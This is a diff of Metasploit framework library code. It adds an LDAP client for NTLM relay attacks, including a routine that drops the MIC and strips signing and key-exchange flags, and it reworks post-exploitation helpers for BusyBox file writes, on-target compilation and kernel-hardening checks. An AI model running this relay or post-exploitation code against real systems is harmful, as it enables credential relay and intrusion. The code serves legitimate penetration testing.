||||
end
|
||||
|
||||
def do_drop_mic_and_flags(ntlm_message)
|
||||
logger.info('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
|
||||
flags = ntlm_message.flag
|
||||
flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
ntlm_message.flag = flags
|
||||
ntlm_message.serialize
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
require 'rex/proto/ldap/auth_adapter'
|
||||
|
||||
module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP
|
||||
# The LDAP Client for interacting with the relayed_target
|
||||
# This isn't actually a Rex::Proto::LDAP::Client instance, but rather a Net::LDAP::Connection instance because of the
|
||||
# state requirements of the relay operations
|
||||
class Client < Net::LDAP::Connection
|
||||
attr_accessor :timeout
|
||||
attr_reader :target
|
||||
|
||||
def initialize(server, provider: nil, target: nil, logger: nil, timeout: DefaultConnectTimeout)
|
||||
@logger = logger
|
||||
@provider = provider
|
||||
@target = target
|
||||
@timeout = server[:connect_timeout] || timeout
|
||||
super(server)
|
||||
end
|
||||
|
||||
def self.create(provider, target, logger, timeout)
|
||||
new(
|
||||
{
|
||||
host: target.ip,
|
||||
port: target.port,
|
||||
connect_timeout: timeout
|
||||
},
|
||||
provider: provider,
|
||||
target: target,
|
||||
logger: logger
|
||||
)
|
||||
end
|
||||
|
||||
alias :disconnect! :close
|
||||
|
||||
# @param [String] client_type1_msg
|
||||
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
|
||||
def relay_ntlmssp_type1(client_type1_msg)
|
||||
ntlm_message = Net::NTLM::Message.parse(client_type1_msg)
|
||||
if ntlm_message.has_flag?(:SIGN)
|
||||
logger.print_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work')
|
||||
end
|
||||
|
||||
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type1_msg)
|
||||
|
||||
unless pdu.result_code == Net::LDAP::ResultCodeSaslBindInProgress
|
||||
return Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
|
||||
nt_status: WindowsError::NTStatus::STATUS_LOGON_FAILURE
|
||||
)
|
||||
end
|
||||
|
||||
server_type2_message = pdu.result_server_sasl_creds.to_s
|
||||
|
||||
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
|
||||
message: Net::NTLM::Message.parse(server_type2_message),
|
||||
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
|
||||
)
|
||||
end
|
||||
|
||||
# @param [String] client_type3_msg
|
||||
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
|
||||
def relay_ntlmssp_type3(client_type3_msg)
|
||||
ntlm_message = Net::NTLM::Message.parse(client_type3_msg)
|
||||
if ntlm_message.ntlm_version == :ntlmv2
|
||||
logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work')
|
||||
end
|
||||
|
||||
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg)
|
||||
|
||||
case pdu.result_code
|
||||
when Net::LDAP::ResultCodeSuccess
|
||||
nt_status = WindowsError::NTStatus::STATUS_SUCCESS
|
||||
when Net::LDAP::ResultCodeInvalidCredentials
|
||||
nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
|
||||
end
|
||||
|
||||
# Instantiate a Rex::Proto::LDAP::Client that can be used as a normal LDAP client.
|
||||
# This is mainly used to setup an LDAP session.
|
||||
#
|
||||
# @return [Rex::Proto::LDAP::Client]
|
||||
def create_ldap_client
|
||||
client = Rex::Proto::LDAP::Client.new(
|
||||
host: @target.ip,
|
||||
port: @target.port,
|
||||
auth: { method: :rex_relay_ntlm },
|
||||
connect_timeout: @timeout
|
||||
)
|
||||
client.connection = self
|
||||
client
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_reader :logger
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,7 +6,7 @@ module Msf::Exploit::Remote::SMB::Relay
|
||||
include MonitorMixin
|
||||
|
||||
# @param [String] targets
|
||||
def initialize(protocol, port, targets, path=nil, randomize_targets: true)
|
||||
def initialize(protocol, port, targets, path=nil, randomize_targets: true, drop_mic_only: false, drop_mic_and_sign_key_exch_flags: false)
|
||||
super()
|
||||
|
||||
targets = Rex::Socket::RangeWalker.new(targets).to_enum(:each_ip).map do |target_ip|
|
||||
@@ -14,7 +14,9 @@ module Msf::Exploit::Remote::SMB::Relay
|
||||
ip: target_ip,
|
||||
port: port,
|
||||
protocol: protocol,
|
||||
path: path
|
||||
path: path,
|
||||
drop_mic_only: drop_mic_only,
|
||||
drop_mic_and_sign_key_exch_flags: drop_mic_and_sign_key_exch_flags
|
||||
)
|
||||
end
|
||||
@targets = randomize_targets ? targets.shuffle : targets
|
||||
@@ -62,7 +64,7 @@ module Msf::Exploit::Remote::SMB::Relay
|
||||
end
|
||||
|
||||
class Target
|
||||
def initialize(ip:, port:, protocol:, path: nil)
|
||||
def initialize(ip:, port:, protocol:, path: nil, drop_mic_only: false, drop_mic_and_sign_key_exch_flags: false)
|
||||
@ip = ip
|
||||
@port = port
|
||||
@protocol = protocol
|
||||
@@ -75,9 +77,11 @@ module Msf::Exploit::Remote::SMB::Relay
|
||||
relay_attempts: 0
|
||||
}
|
||||
end
|
||||
@drop_mic_only= drop_mic_only
|
||||
@drop_mic_and_sign_key_exch_flags = drop_mic_and_sign_key_exch_flags
|
||||
end
|
||||
|
||||
attr_reader :ip, :port, :protocol, :path
|
||||
attr_reader :ip, :port, :protocol, :path, :drop_mic_only, :drop_mic_and_sign_key_exch_flags
|
||||
|
||||
def eligible_relay_target?(identity)
|
||||
return true if identity.nil?
|
||||
|
||||
@@ -4,6 +4,7 @@ module Msf
|
||||
module Exploit::Remote::SMB
|
||||
# This mixin provides a minimal SMB server
|
||||
module RelayServer
|
||||
include ::Msf::Auxiliary::MultipleTargetHosts
|
||||
include ::Msf::Exploit::Remote::SocketServer
|
||||
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
|
||||
@@ -15,7 +16,7 @@ module Msf
|
||||
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),
|
||||
OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
|
||||
OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]),
|
||||
OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']),
|
||||
OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST', 'RELAY_TARGETS']),
|
||||
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@@ -209,11 +209,22 @@ module Exploit::Remote::Tcp
|
||||
# Otherwise we are logging in the global context where rhost can be any
|
||||
# size (being an alias for rhosts), which is not very useful to insert into
|
||||
# a single log line.
|
||||
if rhost && rhost.split(' ').length == 1
|
||||
super + peer + ' - '
|
||||
else
|
||||
super
|
||||
unless instance_variable_defined?(:@print_prefix)
|
||||
if rhost.present? && Rex::Socket::RangeWalker.new(rhost).length == 1
|
||||
@print_prefix = peer + ' - '
|
||||
else
|
||||
@print_prefix = ''
|
||||
end
|
||||
end
|
||||
|
||||
super + @print_prefix
|
||||
end
|
||||
|
||||
def replicant
|
||||
obj = super
|
||||
# invalidate the cached print_prefix in case the target changes
|
||||
obj.remove_instance_variable(:@print_prefix) if instance_variable_defined?(:@print_prefix)
|
||||
obj
|
||||
end
|
||||
|
||||
##
|
||||
@@ -259,7 +270,7 @@ module Exploit::Remote::Tcp
|
||||
|
||||
# Returns the rhost:rport
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
Rex::Socket.to_authority(rhost, rport)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -94,8 +94,8 @@ module Msf
|
||||
name: LDAP_SESSION_TYPE,
|
||||
description: 'When enabled will allow for the creation/use of LDAP sessions',
|
||||
requires_restart: true,
|
||||
default_value: false,
|
||||
developer_notes: 'To be enabled by default after appropriate testing'
|
||||
default_value: true,
|
||||
developer_notes: 'Enabled in Metasploit 6.4.52'
|
||||
}.freeze,
|
||||
{
|
||||
name: SHOW_SUCCESSFUL_LOGINS,
|
||||
|
||||
@@ -255,9 +255,9 @@ module Msf::Modules::Metadata::Search
|
||||
when 'ref', 'ref_name'
|
||||
match = [keyword, search_term] if module_metadata.ref_name =~ regex
|
||||
when 'reference', 'references'
|
||||
match = [keyword, search_term] if module_metadata.references.any? { |ref| ref =~ regex }
|
||||
match = [keyword, search_term] if module_metadata.references && module_metadata.references.any? { |ref| ref =~ regex }
|
||||
when 'target', 'targets'
|
||||
match = [keyword, search_term] if module_metadata.targets.any? { |target| target =~ regex }
|
||||
match = [keyword, search_term] if module_metadata.targets && module_metadata.targets.any? { |target| target =~ regex }
|
||||
when 'type'
|
||||
match = [keyword, search_term] if Msf::MODULE_TYPES.any? { |module_type| search_term == module_type and module_metadata.type == module_type }
|
||||
else
|
||||
|
||||
@@ -8,6 +8,12 @@ module Msf
|
||||
module OptionalSession
|
||||
include Msf::SessionCompatibility
|
||||
|
||||
attr_accessor :session_or_rhost_required
|
||||
|
||||
def session_or_rhost_required?
|
||||
@session_or_rhost_required.nil? ? true : @session_or_rhost_required
|
||||
end
|
||||
|
||||
# Validates options depending on whether we are using SESSION or an RHOST for our connection
|
||||
def validate
|
||||
super
|
||||
@@ -18,7 +24,7 @@ module Msf
|
||||
validate_session
|
||||
elsif rhost
|
||||
validate_rhost
|
||||
else
|
||||
elsif session_or_rhost_required?
|
||||
raise Msf::OptionValidateError.new(message: 'A SESSION or RHOST must be provided')
|
||||
end
|
||||
end
|
||||
|
||||
+110
-101
@@ -1,109 +1,118 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
module BusyBox
|
||||
class Post
|
||||
module Linux
|
||||
module BusyBox
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
#
|
||||
# Checks if the file exists in the target
|
||||
#
|
||||
# @param file_path [String] the target file path
|
||||
# @return [Boolean] true if files exists, false otherwise
|
||||
# @note Msf::Post::File#file? doesnt work because test -f is not available in busybox
|
||||
#
|
||||
def busy_box_file_exist?(file_path)
|
||||
contents = read_file(file_path)
|
||||
if contents.nil? || contents.empty?
|
||||
return false
|
||||
end
|
||||
|
||||
# Checks if the file exists in the target
|
||||
#
|
||||
# @param file_path [String] the target file path
|
||||
# @return [Boolean] true if files exists, false otherwise
|
||||
# @note Msf::Post::File#file? doesnt work because test -f is not available in busybox
|
||||
def busy_box_file_exist?(file_path)
|
||||
contents = read_file(file_path)
|
||||
if contents.nil? || contents.empty?
|
||||
return false
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the directory is writable in the target
|
||||
#
|
||||
# @param dir_path [String] the target directory path
|
||||
# @return [Boolean] true if target directory is writable, false otherwise
|
||||
#
|
||||
def busy_box_is_writable_dir?(dir_path)
|
||||
res = false
|
||||
rand_str = Rex::Text.rand_text_alpha(16)
|
||||
file_path = "#{dir_path}/#{rand_str}"
|
||||
|
||||
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}")
|
||||
Rex.sleep(0.3)
|
||||
rcv = read_file(file_path)
|
||||
|
||||
if rcv.include?("#{rand_str}XXX#{rand_str}")
|
||||
res = true
|
||||
end
|
||||
|
||||
cmd_exec("rm -f #{file_path}")
|
||||
Rex.sleep(0.3)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Checks some directories that usually are writable in devices running busybox
|
||||
#
|
||||
# @return [String] If the function finds a writable directory, it returns the path. Else it returns nil
|
||||
#
|
||||
def busy_box_writable_dir
|
||||
dirs = %w[/etc/ /mnt/ /var/ /var/tmp/]
|
||||
|
||||
dirs.each do |d|
|
||||
return d if busy_box_is_writable_dir?(d)
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Writes data to a file
|
||||
#
|
||||
# @param file_path [String] the file path to write on the target
|
||||
# @param data [String] the content to be written
|
||||
# @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite
|
||||
# the target file
|
||||
# @return [Boolean] true if target file is writable and it was written. Otherwise, false.
|
||||
# @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because
|
||||
# of it is necessary to implement an specific method.
|
||||
#
|
||||
def busy_box_write_file(file_path, data, prepend = false)
|
||||
if prepend
|
||||
dir = busy_box_writable_dir
|
||||
return false unless dir
|
||||
|
||||
cmd_exec("cp -f #{file_path} #{dir}tmp")
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
|
||||
rand_str = Rex::Text.rand_text_alpha(16)
|
||||
cmd_exec("echo #{rand_str} > #{file_path}")
|
||||
Rex.sleep(0.3)
|
||||
|
||||
unless read_file(file_path).include?(rand_str)
|
||||
return false
|
||||
end
|
||||
|
||||
cmd_exec("echo \"\"> #{file_path}")
|
||||
Rex.sleep(0.3)
|
||||
|
||||
lines = data.lines.map(&:chomp)
|
||||
lines.each do |line|
|
||||
cmd_exec("echo #{line.chomp} >> #{file_path}")
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
|
||||
if prepend
|
||||
cmd_exec("cat #{dir}tmp >> #{file_path}")
|
||||
Rex.sleep(0.3)
|
||||
|
||||
cmd_exec("rm -f #{dir}tmp")
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Checks if the directory is writable in the target
|
||||
#
|
||||
# @param dir_path [String] the target directory path
|
||||
# @return [Boolean] true if target directory is writable, false otherwise
|
||||
def busy_box_is_writable_dir?(dir_path)
|
||||
res = false
|
||||
rand_str = Rex::Text.rand_text_alpha(16)
|
||||
file_path = "#{dir_path}/#{rand_str}"
|
||||
|
||||
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
rcv = read_file(file_path)
|
||||
|
||||
if rcv.include?("#{rand_str}XXX#{rand_str}")
|
||||
res = true
|
||||
end
|
||||
|
||||
cmd_exec("rm -f #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Checks some directories that usually are writable in devices running busybox
|
||||
# @return [String] If the function finds a writable directory, it returns the path. Else it returns nil
|
||||
def busy_box_writable_dir
|
||||
dirs = %w(/etc/ /mnt/ /var/ /var/tmp/)
|
||||
|
||||
dirs.each do |d|
|
||||
return d if busy_box_is_writable_dir?(d)
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Writes data to a file
|
||||
#
|
||||
# @param file_path [String] the file path to write on the target
|
||||
# @param data [String] the content to be written
|
||||
# @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite
|
||||
# the target file
|
||||
# @return [Boolean] true if target file is writable and it was written. Otherwise, false.
|
||||
# @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because
|
||||
# of it is necessary to implement an specific method.
|
||||
def busy_box_write_file(file_path, data, prepend = false)
|
||||
if prepend
|
||||
dir = busy_box_writable_dir
|
||||
return false unless dir
|
||||
cmd_exec("cp -f #{file_path} #{dir}tmp")
|
||||
Rex::sleep(0.3)
|
||||
end
|
||||
|
||||
rand_str = Rex::Text.rand_text_alpha(16)
|
||||
cmd_exec("echo #{rand_str} > #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
|
||||
unless read_file(file_path).include?(rand_str)
|
||||
return false
|
||||
end
|
||||
|
||||
cmd_exec("echo \"\"> #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
|
||||
lines = data.lines.map(&:chomp)
|
||||
lines.each do |line|
|
||||
cmd_exec("echo #{line.chomp} >> #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
end
|
||||
|
||||
if prepend
|
||||
cmd_exec("cat #{dir}tmp >> #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
|
||||
cmd_exec("rm -f #{dir}tmp")
|
||||
Rex::sleep(0.3)
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end # Busybox
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
||||
end
|
||||
|
||||
@@ -1,88 +1,113 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
module Compile
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::Unix
|
||||
class Post
|
||||
module Linux
|
||||
module Compile
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::Linux::System
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options( [
|
||||
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
|
||||
OptEnum.new('COMPILER', [true, 'Compiler to use on target', 'Auto', ['Auto', 'gcc', 'clang']]),
|
||||
], self.class)
|
||||
end
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options([
|
||||
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
|
||||
OptEnum.new('COMPILER', [true, 'Compiler to use on target', 'Auto', ['Auto', 'gcc', 'clang']]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_compiler
|
||||
if has_gcc?
|
||||
return 'gcc'
|
||||
elsif has_clang?
|
||||
return 'clang'
|
||||
else
|
||||
return nil
|
||||
# Determines the available compiler on the target system.
|
||||
#
|
||||
# @return [String, nil] The name of the compiler ('gcc' or 'clang') if available, or nil if none are found.
|
||||
def get_compiler
|
||||
if has_gcc?
|
||||
return 'gcc'
|
||||
elsif has_clang?
|
||||
return 'clang'
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Checks whether the target supports live compilation based on the module's configuration and available tools.
|
||||
#
|
||||
# @return [Boolean] True if compilation is supported and a compiler is available; otherwise, False.
|
||||
# @raise [Module::Failure::BadConfig] If the specified compiler is not installed and compilation is required.
|
||||
def live_compile?
|
||||
return false unless %w[Auto True].include?(datastore['COMPILE'])
|
||||
|
||||
if datastore['COMPILER'] == 'gcc' && has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
return true
|
||||
elsif datastore['COMPILER'] == 'clang' && has_clang?
|
||||
vprint_good 'clang is installed'
|
||||
return true
|
||||
elsif datastore['COMPILER'] == 'Auto' && get_compiler.present?
|
||||
return true
|
||||
end
|
||||
|
||||
unless datastore['COMPILE'] == 'Auto'
|
||||
fail_with Module::Failure::BadConfig, "#{datastore['COMPILER']} is not installed. Set COMPILE False to upload a pre-compiled executable."
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Uploads C code to the target, compiles it, and handles verification of the compiled binary.
|
||||
#
|
||||
# @param path [String] The path where the compiled binary will be created.
|
||||
# @param data [String] The C code to compile.
|
||||
# @param compiler_args [String] Additional arguments for the compiler command.
|
||||
# @raise [Module::Failure::BadConfig] If compilation fails or no compiler is found.
|
||||
#
|
||||
def upload_and_compile(path, data, compiler_args = '')
|
||||
compiler = datastore['COMPILER']
|
||||
if datastore['COMPILER'] == 'Auto'
|
||||
compiler = get_compiler
|
||||
fail_with(Module::Failure::BadConfig, 'Unable to find a compiler on the remote target.') if compiler.nil?
|
||||
end
|
||||
|
||||
path = "#{path}.c" unless path.end_with?('.c')
|
||||
|
||||
# only upload the file if a compiler exists
|
||||
write_file path.to_s, strip_comments(data)
|
||||
|
||||
compiler_cmd = "#{compiler} -o '#{path.sub(/\.c$/, '')}' '#{path}'"
|
||||
if session.type == 'shell'
|
||||
compiler_cmd = "PATH=\"$PATH:/usr/bin/\" #{compiler_cmd}"
|
||||
end
|
||||
|
||||
unless compiler_args.to_s.blank?
|
||||
compiler_cmd << " #{compiler_args}"
|
||||
end
|
||||
|
||||
verification_token = Rex::Text.rand_text_alphanumeric(8)
|
||||
success = cmd_exec("#{compiler_cmd} && echo #{verification_token}")&.include?(verification_token)
|
||||
|
||||
rm_f path.to_s
|
||||
|
||||
unless success
|
||||
message = "#{path} failed to compile."
|
||||
# don't mention the COMPILE option if it was deregistered
|
||||
message << ' Set COMPILE to False to upload a pre-compiled executable.' if options.include?('COMPILE')
|
||||
fail_with Module::Failure::BadConfig, message
|
||||
end
|
||||
|
||||
chmod path
|
||||
end
|
||||
|
||||
#
|
||||
# Strips comments from C source code.
|
||||
#
|
||||
# @param c_code [String] The C source code.
|
||||
# @return [String] The C code with comments removed.
|
||||
#
|
||||
def strip_comments(c_code)
|
||||
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
return false unless %w{ Auto True }.include?(datastore['COMPILE'])
|
||||
|
||||
if datastore['COMPILER'] == 'gcc' && has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
return true
|
||||
elsif datastore['COMPILER'] == 'clang' && has_clang?
|
||||
vprint_good 'clang is installed'
|
||||
return true
|
||||
elsif datastore['COMPILER'] == 'Auto' && get_compiler.present?
|
||||
return true
|
||||
end
|
||||
|
||||
unless datastore['COMPILE'] == 'Auto'
|
||||
fail_with Module::Failure::BadConfig, "#{datastore['COMPILER']} is not installed. Set COMPILE False to upload a pre-compiled executable."
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data, compiler_args='')
|
||||
write_file "#{path}.c", strip_comments(data)
|
||||
|
||||
compiler = datastore['COMPILER']
|
||||
if datastore['COMPILER'] == 'Auto'
|
||||
compiler = get_compiler
|
||||
fail_with(Module::Failure::BadConfig, "Unable to find a compiler on the remote target.") unless compiler.present?
|
||||
end
|
||||
|
||||
compiler_cmd = "#{compiler} -o '#{path}' '#{path}.c'"
|
||||
if session.type == 'shell'
|
||||
compiler_cmd = "PATH=\"$PATH:/usr/bin/\" #{compiler_cmd}"
|
||||
end
|
||||
|
||||
unless compiler_args.to_s.blank?
|
||||
compiler_cmd << " #{compiler_args}"
|
||||
end
|
||||
|
||||
verification_token = Rex::Text.rand_text_alphanumeric(8)
|
||||
success = cmd_exec("#{compiler_cmd} && echo #{verification_token}")&.include?(verification_token)
|
||||
|
||||
rm_f "#{path}.c"
|
||||
|
||||
unless success
|
||||
message = "#{path}.c failed to compile."
|
||||
# don't mention the COMPILE option if it was deregistered
|
||||
message << ' Set COMPILE to False to upload a pre-compiled executable.' if options.include?('COMPILE')
|
||||
fail_with Module::Failure::BadConfig, message
|
||||
end
|
||||
|
||||
chmod path
|
||||
end
|
||||
|
||||
def strip_comments(c_code)
|
||||
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
|
||||
end
|
||||
|
||||
end # Compile
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
||||
end
|
||||
|
||||
@@ -6,10 +6,13 @@ module Msf
|
||||
module Kernel
|
||||
include ::Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
|
||||
#
|
||||
# Returns uname output
|
||||
#
|
||||
# @param opt [String] uname options, defaults to -a
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def uname(opts = '-a')
|
||||
cmd_exec("uname #{opts}").to_s.strip
|
||||
@@ -79,9 +82,10 @@ module Msf
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the kernel boot config
|
||||
# Returns the kernel boot config with comments removed
|
||||
#
|
||||
# @return [Array]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def kernel_config
|
||||
release = kernel_release
|
||||
@@ -98,6 +102,7 @@ module Msf
|
||||
# Returns the kernel modules
|
||||
#
|
||||
# @return [Array]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def kernel_modules
|
||||
read_file('/proc/modules').to_s.scan(/^[^ ]+/)
|
||||
@@ -109,6 +114,7 @@ module Msf
|
||||
# Returns a list of CPU flags
|
||||
#
|
||||
# @return [Array]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def cpu_flags
|
||||
cpuinfo = read_file('/proc/cpuinfo').to_s
|
||||
@@ -124,6 +130,7 @@ module Msf
|
||||
# Returns true if kernel and hardware supports Supervisor Mode Access Prevention (SMAP), false if not.
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def smap_enabled?
|
||||
cpu_flags.include? 'smap'
|
||||
@@ -135,6 +142,7 @@ module Msf
|
||||
# Returns true if kernel and hardware supports Supervisor Mode Execution Protection (SMEP), false if not.
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def smep_enabled?
|
||||
cpu_flags.include? 'smep'
|
||||
@@ -146,6 +154,7 @@ module Msf
|
||||
# Returns true if Kernel Address Isolation (KAISER) is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def kaiser_enabled?
|
||||
cpu_flags.include? 'kaiser'
|
||||
@@ -157,6 +166,7 @@ module Msf
|
||||
# Returns true if Kernel Page-Table Isolation (KPTI) is enabled, false if not.
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def kpti_enabled?
|
||||
cpu_flags.include? 'pti'
|
||||
@@ -168,6 +178,7 @@ module Msf
|
||||
# Returns true if user namespaces are enabled, false if not.
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def userns_enabled?
|
||||
return false if read_file('/proc/sys/user/max_user_namespaces').to_s.strip.eql? '0'
|
||||
@@ -182,6 +193,7 @@ module Msf
|
||||
# Returns true if Address Space Layout Randomization (ASLR) is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def aslr_enabled?
|
||||
aslr = read_file('/proc/sys/kernel/randomize_va_space').to_s.strip
|
||||
@@ -194,6 +206,7 @@ module Msf
|
||||
# Returns true if Exec-Shield is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def exec_shield_enabled?
|
||||
exec_shield = read_file('/proc/sys/kernel/exec-shield').to_s.strip
|
||||
@@ -206,6 +219,7 @@ module Msf
|
||||
# Returns true if unprivileged bpf is disabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def unprivileged_bpf_disabled?
|
||||
unprivileged_bpf_disabled = read_file('/proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip
|
||||
@@ -218,6 +232,7 @@ module Msf
|
||||
# Returns true if kernel pointer restriction is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def kptr_restrict?
|
||||
read_file('/proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1'
|
||||
@@ -229,6 +244,7 @@ module Msf
|
||||
# Returns true if dmesg restriction is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def dmesg_restrict?
|
||||
read_file('/proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1'
|
||||
@@ -240,6 +256,7 @@ module Msf
|
||||
# Returns mmap minimum address
|
||||
#
|
||||
# @return [Integer]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def mmap_min_addr
|
||||
mmap_min_addr = read_file('/proc/sys/vm/mmap_min_addr').to_s.strip
|
||||
@@ -253,6 +270,9 @@ module Msf
|
||||
#
|
||||
# Returns true if Linux Kernel Runtime Guard (LKRG) kernel module is installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def lkrg_installed?
|
||||
directory?('/proc/sys/lkrg')
|
||||
rescue StandardError
|
||||
@@ -262,6 +282,9 @@ module Msf
|
||||
#
|
||||
# Returns true if grsecurity is installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def grsec_installed?
|
||||
cmd_exec('test -c /dev/grsec && echo true').to_s.strip.include? 'true'
|
||||
rescue StandardError
|
||||
@@ -271,6 +294,9 @@ module Msf
|
||||
#
|
||||
# Returns true if PaX is installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def pax_installed?
|
||||
read_file('/proc/self/status').to_s.include? 'PaX:'
|
||||
rescue StandardError
|
||||
@@ -281,6 +307,7 @@ module Msf
|
||||
# Returns true if SELinux is installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def selinux_installed?
|
||||
